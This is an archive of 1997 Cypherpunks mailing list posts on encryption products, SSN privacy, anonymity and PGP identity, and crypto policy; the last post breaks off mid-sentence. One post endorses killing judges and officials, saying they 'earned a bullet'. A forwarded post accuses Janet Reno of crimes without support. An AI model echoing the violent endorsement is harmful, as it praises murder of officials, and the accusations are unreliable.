On Tue, 16 Dec 1997, Alex Woolfson wrote:

> Anyone care to take him up on his challenge?  Please say yes.  :-)

Give us source (or a good disassembler.) :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 17 Dec 1997 03:02:55 +0800
To: vin@shore.net
Subject: Re: Comparing PGP to Symantec's Secret Stuff
In-Reply-To: <v03007800b0bc0c9a7689@[198.115.179.81]>
Message-ID: <199712161856.NAA01873@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain




Vin,

	Having worked for those multinationals and defense
contractors, I've seen them buy new products with serious weaknesses
in key generation, with year 2000 problems, with stream ciphers used
to protect stored data--keyed the same way each time.  I've seen them
use code that sent cleartext where it should have been encrypting on
the wire.

	I could retire a rich man if I never wanted to come back to
the US.

	Do due dilligence yourself.  Read the snake oil faq.  Insist
on speaking to someone at the vendor with two brain cells to rub
together.  If they claim Acme bought it so you should, too, insist on
speaking to the security folks at Acme who did the eval.  Its your
money.  Its their security product.  Feel free to evaluate it right.
If the vendor won't cooperate, go elsewhere.

	The product I'm building uses 'brand name' cryptography--
libraries and tools from well known sources.  It takes a bit of speed
away (I'd have prefered to use X9.17 over SSL for our bits on the
wire, but I couldn't find a peer reviewed X9.17 library out there.)


Adam


Vin McLellan wrote:

|    The lack of published source code is an issue, but if you see such a
| product being purchased by multinationals or US defense contractors you
| can be certain the implementation -- which is the real arena of
| vulnerability, once the algorithm is chosen -- has been carefully studied
| by informed cryptographers. (For non-American product, look for similar
| purchases by government-connected agencies in the vendor's nation.)



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 17 Dec 1997 06:18:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Joys of Being Canadian
In-Reply-To: <199712161205.NAA23776@basement.replay.com>
Message-ID: <3.0.3.32.19971216140636.0074217c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:05 PM 12/16/1997 +0100, Anonymous wrote:
>>Phone Company Rep:  "What's your Social Security number?
>>Answer:  "I don't have one.  I'm Canadian."
>>
>>Power Company Rep:  "What's your Social Security number?
>>Answer:  "I don't have one.  I'm Canadian."
>>
>>Cable Company Rep:  "What's your Social Security number?
>>Answer:  "I don't have one.  I'm Canadian."
>>
>>Doctor to Seasoned Citizen:  "I can't treat you privately or I'll be barred
>>from taking Medicare patients for two years."
>>Answer:  "Sure you can.  I'm Canadian."
>
>Now the question is: When they find out you lied will they care?

Last time *I* saw anyone calling himself Duncan Frissell was in Canada.
I don't know if he has Canadian ancestry, or just likes the culture,
but if he likes being Canadian, I'm not going to say he can't be.
	"Ich bin ein Canadianer".....
I don't remember asking if he had zero, one, two, or many SSNs,
but not only has he always seemed to be an honest guy, he also seems
to have enough understanding of and concern for privacy that he could
get along quite well without acquiring an SSN if he wanted to.
If you want to draw the conclusion from his statements that he 
doesn't have an SSN *because* he's Canadian, that's your logic problem....

And if he's not part of the Social Security system, he's presumably
not part of Medicare either.

The phone and power companies generally want your SSN to do a 
credit check to decide how much, if any, deposit to charge you
before turning on your service; if giving them your previous
phone number isn't interesting, you can always bring them cash.
(For reasons I don't remember, PacBell wanted me to walk in
in person to one of a small subset of their offices to 
set up the service...  probably because I wasn't the previous
person at the address I was moving in to.)
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 17 Dec 1997 03:50:20 +0800
To: cypherpunks@toad.com
Subject: The naming of the Presidential Pooch
Message-ID: <v03007824b0bc85606a38@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



The stakeout before the press conference. Note the hard-hitting questions
from DC political reporters:

	Q     There he is.  So what's his name?
	PRESIDENT CLINTON:  Isn't he pretty?
	Q     But what's his name?
	PRESIDENT CLINTON:  Press conference.  Press conference.
	Q     (Laughs.)  His name is "press conference"?
	PRESIDENT CLINTON:  Huh?
	Q     His name is "press conference"?
	PRESIDENT CLINTON:  That's a good idea.  That's probably what I
should have called him.
	(To the puppy) Do you want to go see them?
	Q     Mr. President, where does he sleep?  Where does the puppy sleep?
	PRESIDENT CLINTON:  Upstairs.
	Q     Upstairs?  Does he have his own little doggy bed?
	PRESIDENT CLINTON:  He has a little house in the kitchen.  He's
sleeping in the kitchen right now.
	Q     Does he sleep in a little dog house?
	PRESIDENT CLINTON:  Yeah, he sleeps in a little dog house.  And we
got another -
	Q     He is really trained?
	PRESIDENT CLINTON:  You may get a chance to see here in a minute!
(Laughter.)  Yes, he's done quite well, so far.
	Hi, Jimmy.
	Q     And what can he do?
	PRESIDENT CLINTON:  (Commands the puppy)  Sit!
	THE PRESS:  Oh!  All right!
	PRESIDENT CLINTON:  (To the puppy)  That's good.  Very good.
	Q     What's he eating, Mr. President?
	PRESIDENT CLINTON:  A little dog biscuit.  He's pretty well
trained.  And, you know, I get up in the morning and take him for a walk
early, at 7:00.  And then I give him breakfast, then we go for another
walk.  And then he has lunch and goes for another walk.
	Q     Who takes him at lunch time?
	PRESIDENT CLINTON:  Well, so far, I have.
	Q     He likes the press, Mr. President.
	PRESIDENT CLINTON:  Yeah, he does.  So do I.
	Q     He doesn't bother your allergies?
	PRESIDENT CLINTON:  No.  I've never been - yeah twice, three times.
I'm trying to work this out.
	Q     It's going to take awhile.
	PRESIDENT CLINTON:  It's going to take awhile.  It's kind of like
peace in Ireland or the Middle East, you know - (chuckles) - it's -
	Q     What happened when they met?
	PRESIDENT CLINTON:  Socks was a little scared of him, I think. And
yesterday - you could have had a great picture yesterday.  She jumped way
up - he jumped way up on my shoulder.  Socks climbed right up and got up on
my shoulders so that they would have an appropriate distance.  But we're
giving them items that the two of them have, you know, to try to get used
to the scent.  And I'll get it worked out.
	Q     What's his name?
	Q     He likes grass.
	PRESIDENT CLINTON:  He can hang out in the - he can hang out nearly
anywhere.  We've got a little flexible cage back in the dining room now in
the White House.  He comes over to the Oval Office with me in the morning.
He does fine.
	Q     Without telling us the name, can you tell us if it came from
a senator?
	PRESIDENT CLINTON:  No.  In the end, it didn't.  It didn't.  I'll
tell you about - I'll answer questions about it at the press conference.
	Q     What were your finalist names?  Can you give us any of that?
	PRESIDENT CLINTON:  I'll do that too, at the press conference.
Yeah, we went through - we went through about - you know, we got thousands
of names.  It was great!  And I had so much fun reviewing them.  And then
we went - (to the puppy) - don't eat that, you just had lunch! -
(returning) - and we got down to about seven or eight, and then we got down
to three and finally made a decision.
	(To the puppy)  Come on, kiddo.  Come on.   Let's go.
	Q     He's beautiful.
	PRESIDENT CLINTON:  Thank you.  I think he's beautiful, too.
	END






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Wed, 17 Dec 1997 03:57:35 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Joys of Being Canadian
In-Reply-To: <199712161205.NAA23776@basement.replay.com>
Message-ID: <3.0.2.32.19971216143659.035fa580@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:05 PM 12/16/97 +0100, Anonymous wrote:
>
>Now the question is: When they find out you lied will they care?

Usually, no.

If you're worried though, don't lie.  Phrase your response as follows.  
(Assuming you've ever visited Canada.)  "I came to the U.S. from Canada.  
Canadians don't have Social Security numbers."

DCF  
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

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Pkm5JtYqaqd9i9QSbn0pGkWNnWJtRUcvs6An8nZia1d02GlI3fpVvlh7dAzqrw/3
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nW1WJ8VKfs4=
=SIt9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tony Iannotti <tony@fozzie.secapl.com>
Date: Wed, 17 Dec 1997 04:19:47 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: The 4th Great Awakening
In-Reply-To: <199711220530.GAA05205@basement.replay.com>
Message-ID: <Pine.A41.3.96.971216150257.87364Q-100000@fozzie.secapl.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 22 Nov 1997, Anonymous wrote:

> 
> Read "Speed" by William Burroughs.
> 

  I think that's Burroughs, Jr. Not his old man's measure at all.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Wed, 17 Dec 1997 09:54:07 +0800
To: stewarts@ix.netcom.com
Subject: Re: Radio Free Cypherpunks... (fwd)
In-Reply-To: <199712160540.XAA05167@einstein.ssz.com>
Message-ID: <v03102801b0bcc6a2ef84@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Back in the Depression, the FDR-bullied Supremes ruled that a farmer
>feeding his own grain to his own hogs was affecting interstate commerce
>(in violation of federal regs on grain production), because he would
>otherwise have been buying grain that might have come from another state.
>Similarly, the federal drug laws contend that there's federal jurisdiction
>over all drugs, because it's not practical to determine whether a given
>bunch of drugs was locally produced or transported across state lines,
>and that there should therefore be a presumption that it was for
>determination of jurisdiction (even marijuana plants still in the ground;
>presumably if you were to ding them for that in court, they'd respond with
>the concept that growing your own dope to smoke by yourself is supplanting
>dope you might have otherwise bought from another state.  Or they'd decide
>the local cops can confiscate your land instead.)

I believe this is the type of systemic constitutional abuse, fostered by SC's expansive interpretations, which Jim Bell was attempting to address via AP.

>
>At 11:40 PM 12/15/1997 -0600, Jim Choate wrote:
>>So, are you considering such a broadcast? What I envision is a
>>text-to-speech and/or a digital format.
>
>You can get FM transmitters for about $30 at Fry's.  Not very powerful,
>and probably less than a mile range, but it may have hack value,
>especially if there were lots of them.

These devices are low power, but must still meet FCC type approvals (e.g., Part 15).  I'm talking about confronting the FCC on the legality of their jurisdiction over non-type approved, intrastate manufactured and utilized devices.

--Steve


PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html

RSA fingerprint: FE90 1A95 9DEA 8D61  812E CCA9 A44A FBA9
RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
Lammar Laboratories       |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: schear@lvdi.net
---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 17 Dec 1997 00:50:28 +0800
To: cypherpunks@toad.com
Subject: Re: UCENET II and Peter duh Silva
In-Reply-To: <668vgi$bpo@news1.panix.com>
Message-ID: <19971216164008.11359.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

politas@dynamite.com.au (Politas) wrote:

> Surely that isn't the important thing.  More important is that the
> person really has an email address of "john_smith@hotmail.com".  Then
> it's up to Hotmail to be able to trace that email address back to the
> previous step, assuming that they are being forced to do so by a
> warrant or some other legal reason.
>  
> Personally, I think that all messages should be able to be traced to a
> real person, although this tracing should not be possible without
> legal action.
 
Are you saying that Hotmail should be made a guarantor of the identity of
its accountholders, or merely that they could be required, under certain
circumstances, to divulge what information (if any) it possesses, regardless 
of its accuracy?  AFAIK, the latter case is currently operative, since
Hotmail's records are presumably already subject to subpoena (in the USA,
at least -- I just realized you're posting from an Aussie domain).

IOW, when you sign up for a hotmail.com account, you're presumably required
to give them a "name".  If I signed up as "John Smith", should they be
required to verify that I'm really John Smith, or merely disclose that the
account belongs to someone who identified him/herself as "John Smith"?

If you're saying what I hope you're NOT saying, it would amount to a form
of "identity escrow", and I suspect that Hotmail would probably choose to
discontinue offering free e-mail accounts rather than take on that sort of
responsibility.

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Wed, 17 Dec 1997 00:48:45 +0800
To: cypherpunks@toad.com
Subject: Re: UCENET II and Peter duh Silva
In-Reply-To: <66iaur$foc$1@chronicle.austx.tandem.com>
Message-ID: <19971216164009.23206.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Information Security <The@NSA.sucks> wrote:

> :   While that's technically true, it's even more true of non-anonymous e-mail
> :   addresses.  Usenet posts are much easier to forge than PGP signatures, and
> :   it's quite simple to sign up for a throwaway e-mail account under an assumed
> :   name.  It's not very secure from a privacy standpoint, but it's even less
> :   secure from a "positive ID" POV.
> :  
> :   At least with a PGP-signed anonymous post, readers are alerted up front that
> :   they are reading the work of an author who is withholding his/her identity.
> :   But if you read a post from "john_smith@hotmail.com", is it really someone
> :   named "John Smith" or not?
>    
> I'm not following this...anyone can generate PGP keys, and digital signatures
> are not necessary to indentify an account...

Sure, anyone can generate a PGP key.  It's almost as easy as generating a
throwaway e-mail address.  And what does posting from a certain e-mail address
or signing one's post with a certain PGP key prove?  It proves that the poster
KNEW a certain piece of INFORMATION, either an account password or a PGP
secret key.  It's usually inferred that the person who possesses that
information is the person who generated it.  Of the two, guessing a PGP
secret key is orders of magnitude harder than guessing someone's password,
logging on, and impersonating them.

In addition, PGP signing is "portable".  No matter where I post from, if I
sign my post with the same key, you can assume it's me who posted it.  It's 
more difficult to do that with an e-mail address.  Let's say that you have a
common name like "John Smith" and you post as jsmith@someisp.com.  Are you
saying that's your "identity"?  What if Someisp, Inc. suddenly files for
bankruptcy and shuts down without warning?  Did you lose your identity?

You could open a new account as "jsmith" somewhere else and claim you are
the same person who previously posted as jsmith@someisp.com, but so could
anyone else who desired to impersonate you.  If you were signing your posts
with a PGP key, then all you'd have to do is make a post from your new ISP,
sign it with the same key, and your "identity" is "transferred".

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 17 Dec 1997 10:33:43 +0800
To: cypherpunks@Algebra.COM
Subject: freeh/crypto/reno
Message-ID: <199712170227.SAA02404@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Wed, 10 Dec 1997 15:36:21 -0800
From: "J. Orlin Grabbe" <kalliste@aci.net>
To: snetnews@world.std.com
Subject: SNET: [Fwd: FREEH SPEECH (repost)]


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From: softwar@us.net
Subject: FREEH SPEECH (repost)
Date: Wed, 10 Dec 1997 14:11:51 -0600
Reply-To: softwar@us.net
Message-ID: <881784054.228196354@dejanews.com>
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General Reno has declined to appoint an Independent Counsel to
investigate campaign abuses by the Clinton White House.  Several
Congressional leaders have sputtered they are concerned about
Ms. Reno's conflict of interest in the matter.  Of course, the
Republican specifics of her "conflict" never go past the fact
that she was appointed by Clinton.  However, the connections
between Ms. Reno and the Clinton scandals are well known to at
least one person inside the Beltway.

One example of Reno's conflict is the Clinton China Crypto Scam.
It was Reno's Justice Anti-Trust Division that authorized the
merger of a major company backed by a big donor to the DNC.  The
companies, RSA and Security Dynamics, sought the merger in 1996
just after RSA Chairman James Bidzos signed a memo of
understanding to perform "encryption research" with China.  The
donor, Sanford Robertson, paid $100,000 to the DNC just prior to
the merger.  Furthermore, Mr. Robertson was on the list of those
called by Al Gore from the White House and the MONEY arrived
just after Gore's call.  In fact, $20,000 of Robertson's
donation was split into a HARD money account by the DNC.  Of
course, Mr. Robertson's investment firm made a cool two million
dollars on the merger deal, spurred in part by the lucrative
RSA contract with the PRC.

Yet, Ms. Reno was also directed officially by President Clinton
to oversee the "encryption problem" and enforce policy.  For
example, according to recently declassified documents from the
Clinton National Security Council, Ms. Reno was tasked by
President Clinton in 1993 to oversee the Clipper project.  Ms.
Reno was directed by Clinton to purchase 9,000 Clipper phones
for the FBI.  In addition, Clinton directed Ms. Reno to prepare
Clipper for export.  Finally, Reno was tasked to convince the US
communications and computer industry to voluntarily implement
the Clipper "key escrow" back door into all US made products.
Simply put, Ms. Reno was, and is still, in charge of bugging
America's telephones.

Yet, how far can Ms. Reno go?  According to the Presidential
Directive, "Should (US) industry fail to fully assist the
government in meeting its requirements within a reasonable
period of time, the Attorney General will recommend legislation
which would compel manufacturers to meet government
requirements."

Thus, if we do not voluntarily give up our rights to privacy,
Ms. Reno is tasked by President Clinton with drawing up the laws
for "mandatory" government phone bugs.  Yet, there is
overwhelming evidence that Ms. Reno quietly turned her head as a
major DNC backer managed a deal involving the Communist Chinese
and advanced encryption technology.

Other than approving the lucrative RSA merger/export, Ms Reno
and the Justice Department are also major players in export
policy.  They are part of an Inter-Agency Working group
specifically tasked to cover crypto and exports.  As proof,
Reno's Justice Department has written most of the Clinton
encryption policy papers.  In fact, some of the secret documents
written by Reno's Justice Department on crypto policy were
compromised by former DNC fund-raiser Ira Sockowitz.  Sockowitz
walked out of the Commerce Department with over 2,000 pages of
secrets in 1996.  Ironically, included in the Sockowitz papers
are secret documents covering the 1996 RSA/China deal.

Curiously, Ms. Reno has chosen NOT to look into the matter.

The connections between Ms. Reno and the Clinton scandals are
also well known to at least one person inside the Beltway.  FBI
Director Louie Freeh knows.  He is aware of that advanced
technology was being shipped to China while draconian laws
banning the same technology were considered here.  Director
Freeh also knows that his boss, Ms. Reno, is deeply involved in
criminal obstruction involving high tech exports, DNC donors,
and her own Justice Department.  He knows she is covering for
crimes that she and her Department were charged to prevent.

The question now is...  Does Freeh have the guts to tell
America?

1 if by land, 2 if by sea.  Paul Revere - encryption 1775

Charles R. Smith
SOFTWAR
http://www.us.net/softwar

Pcyphered SIGNATURE:
3B766150F4B90D30688C657BB44EE7016793781A184F584E7C129D2A8A03F3F5
0B833ABFCE759CC129AF6A33B104406F19EB68AF61050087B65A66C94EA8B0B9
1D70D66883BCA304

- -------------------==== Posted via Deja News ====-----------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 17 Dec 1997 10:35:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part I
In-Reply-To: <v03102800b0ba5b85ccf7@[207.167.93.63]>
Message-ID: <v03102805b0bcdaee6ba5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:40 PM -0700 12/15/97, Ulf Möller wrote:

>Anyway, I don't expect the new list to sap energy from the cypherpunks
>list -- rather the contrary.  For example, Tim probably wouldn't have
>written his essay (and posted it to cypherpunks), if not for the Nym
>list.  Declan managed to get together a number of people who haven't
>been seen on cypherpunks for years, if ever.  Allowing posters (as
>opposed to readers, see above) on invitation only doesn't seem too bad
>to me.  The Nym list promises to be interesting.

Thank you (translation: danke schon, mitout der umlaut) for the kind
comments about my long two-part esssay.

I agree that any new list will generate _some_ new articles. I can't claim,
with all due respect to Declan, that the Nym list has generated any
partcularly new insights. Maybe it will, but for now most of what we are
seeing are initial points of view, recylings of long-held opinions.

I, for one, no longer have the energy to rewrite things I first posted in
1992 or 93. Maybe others will bring up new issues which can generate truly
new responses.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 17 Dec 1997 10:40:54 +0800
To: cypherpunks@cyberpass.net
Subject: Killing the Real Criminals
In-Reply-To: <3.0.3.32.19971216131730.00700e74@popd.ix.netcom.com>
Message-ID: <v03102806b0bcdd4ffab3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:05 PM -0700 12/16/97, Steve Schear wrote:
>>Back in the Depression, the FDR-bullied Supremes ruled that a farmer
>>feeding his own grain to his own hogs was affecting interstate commerce
>>(in violation of federal regs on grain production), because he would
>>otherwise have been buying grain that might have come from another state.
>>Similarly, the federal drug laws contend that there's federal jurisdiction

>I believe this is the type of systemic constitutional abuse, fostered by
>SC's expansive interpretations, which Jim Bell was attempting to address
>via AP.


Well, my personal view is that all of these burrowcrats and judges
certainly identified themselves as "needing killing."

Whether Bell's lottery system is the best way to accomplish this is
debatable, but these folks sure did earn a bullet.


--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 17 Dec 1997 11:14:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Joys of Being Canadian
In-Reply-To: <v04002e0ab0bb69fb26c1@[141.142.103.240]>
Message-ID: <v03102807b0bce37b6de7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:54 PM -0700 12/15/97, Lynne L. Harrison wrote:

>When my cable company asked for my SSN, I told them that I was not going to
>disclose it.  Of course, the refusal sent the lame-brain into a brain-dead
>state. I finally volunteered that they could use my middle name for
>verification purposes.  I could actually hear the "Thank you for solving
>this problem!" in the employee's voice....

When I told the Department of Motor Vehicles (DMV) in California that I
would not be providnig my SS number, either from the tattoo on my forarm or
from the card which reads "Not to be used for identification," the droid
said, "Fine, then you won't get a driver's license."


(Not actually. In reality, I capitulated and gave my SS number, despite the
inappropriateness of the SS number as any kind of identifier. Someday there
will be a major court challenge to this practice of using the SS number as
a universal identifier, but I didn't feel like committing a couple of
hundred thousand dollars to fighting this for several years.)

As to Duncan's frequent "I'm a Canadian" point, the foreigners I've known
over the years have had to a) get an SS number, even if working for short
periods, or b) have had to produce their foreign-country passport.

So, Duncan, does this "But I'm Canadian, and I don't need to show you no
steenking cards!" shtick really, actually, work, or is this just a nice
theory?

(If it _really_ works, I'll tell a friend of mine from Denmark that she can
just tell all the SS number requesters that she's from Denmark.)


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 17 Dec 1997 08:41:45 +0800
To: cypherpunks@cyberpass.net
Subject: Biometrics for the Masses
Message-ID: <v04002742b0bcccf99f2a@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date: Tue, 16 Dec 1997 16:05:08 -0800
From: jmuller@brobeck.com (John D. Muller)
Subject: Biometrics for the Masses
To: dcsb@ai.mit.edu
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: jmuller@brobeck.com (John D. Muller)

     December 13, 1997
     Bank of America, Kroger, Mr. Payroll Agree
     To Test Automated Check Cashing

     Consumers and Retailers Benefit From Facial Biometric Technology

     <Picture>


     (Fort Worth, Texas) - Fort Worth-based Mr. Payroll Corporation , a
     wholly owned subsidiary of Cash America International (NYSE:PWN),
     along with Bank of America and The Kroger Company announced today they
     have entered into an agreement to test the Mr. Payroll automated
     check-cashing machine. The machines will be installed on December 16
     in three Dallas area Kroger locations.

     Mr. Payroll, the world's first self-service check-cashing and
     automated teller machine, uses facial biometrics (the same technology
     now used to authenticate identity in the Pentagon) to identify users.
     This technology allows people with and without a bank account or photo
     identification to cash their payroll, government or personal check.

     "We're excited to have Bank of America and Kroger join us in providing
     consumers with 24-hour access to check-cashing services. This is a
     milestone for Mr. Payroll," said Mr. Payroll President Mike Stinson.

     "We're looking forward to testing this new check cashing technology in
     these Kroger locations," said Bank of America Vice President David
     McCary. "Providing financial services at popular retail locations
     enhances convenience for consumers."

     According to Manager, Store Services and Technology Jim Gehling,
     Kroger expects automated check cashing provided by Mr. Payroll to set
     a new standard in customer service in select stores. "To help
     introduce our shoppers to the machine, we're going to offer free check
     cashing through January 31, 1998," Gehling said.

     Consumers can look for the new machines in Texas at the Kroger stores
     located at 536 Centennial in Richardson, 235 E. FM 1382 in Cedar Hill,
     and 4142 Cedar Springs in Dallas.

     Mr. Payroll, which guarantees 100 percent of every check, has
     successfully cashed more than 25,000 checks since June 1997, when the
     first machine was installed at a convenience store in Fort Worth,
     Texas. To date, Mr. Payroll machines are operating in 18 convenience
     store locations in Arkansas, California, Colorado, Georgia, Nevada,
     Oklahoma, South Carolina and Texas.

     Bank of America Texas is a subsidiary of BankAmerica Corporation
     (NYSE:BAC), which has nearly 2,000 branches in 11 states. At September
     30, 1197, BankAmerica had assets of $258 billion and deposits of $171
     billion.

     Mr. Payroll is a registered trademark of Mr. Payroll Corp. All
     products or service names mentioned are the trademarks of their
     respective owners.

For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark Rosen" <mrosen@peganet.com>
Date: Wed, 17 Dec 1997 09:00:04 +0800
To: <cypherpunks@toad.com>
Subject: Kremlin 2.0
Message-ID: <008001bd0a85$b1dc39d0$4bc866ce@markdsk.peganet.com>
MIME-Version: 1.0
Content-Type: text/plain



    What's the use of encrypting your files if they remain unencrypted,
lying around on your hard drive, reported as "deleted" space, ready for
anyone to steal? And why bother to encrypt your sensitive documents if your
word processor leaves scraps of these documents floating around your hard
drive? Security in the Windows environment seems to be a futile effort.
    Kremlin 2.0 offers an easy-to-use solution to the problem of Windows
data leakage. When you log off your computer, Kremlin can clear your
computer's memory (both the RAM and the swapfile), wipe the unused portions
of your hard drives (where temporary word processing files most often lurk),
and erase all records of your Windows access (such as the most recent
documents accessed, your Internet history, etc). And to securely delete a
file or folder, just drag it to the Kremlin Secure Recycle Bin.
    Of course, the encryption in Kremlin is also first rate. You can encrypt
a file with one of six algorithms (including IDEA, Blowfish, and RC4), just
by right-clicking and choosing "Encrypt". And Kremlin can automatically
encrypt your sensitive documents when you log off and decrypt them when you
log back on, preventing unwanted access to your files.
    Kremlin has been peer reviewed by the best in the business: Chris Hall,
from Counterpane Systems (Bruce Schneier's company), and Alexander Pukall
have both examined the Kremlin source code.
    Kremlin is fast, easy-to-use, and secure; it's the right choice to
protect your data.

You can download Kremlin from:
http://www.mach5.com/kremlin/


Mark Rosen
Mach5 Software
http://www.mach5.com/








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 17 Dec 1997 13:54:42 +0800
To: Vin McLellan <cypherpunks@Algebra.COM
Subject: Re: Comparing PGP to Symantec's Secret Stuff
In-Reply-To: <v03007800b0bc0c9a7689@[198.115.179.81]>
Message-ID: <v03110742b0bd0b7aae35@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:01 AM -0800 12/16/97, Vin McLellan wrote:
>   Norton Secret Stuff secures the data using the 32-bit Blowfish
>encryption algorithm -- which is why it's approved for unrestricted export
>outside the US by the U.S. government.

This is the first I've heard of a Blowfish based produce being approved for
export.  Since Blowfish has about 9 bits worth of protection against brute
force searches in its key schedule, this is about a 41 bit approval.  Does
anyone know of an export permit for a version of Blowfish with a key longer
than 32 bits?


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Wed, 17 Dec 1997 05:16:52 +0800
To: cypherpunks@cyberpass.net>
Subject: Re: Could you please PGP sign this MD5 sum?
In-Reply-To: <199712160820.CAA19094@manifold.algebra.com>
Message-ID: <19971216.175515.attila@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    despite the fact you are not telling us for what reason you want this
    signed (there will be a copy on http://www.DejaNews.com anyway), I'll 
    sign it for you with my 512 "signature key <attila@hun.org>" which 
    can be recovered from the MIT keyserver (or anybody else who tracks 
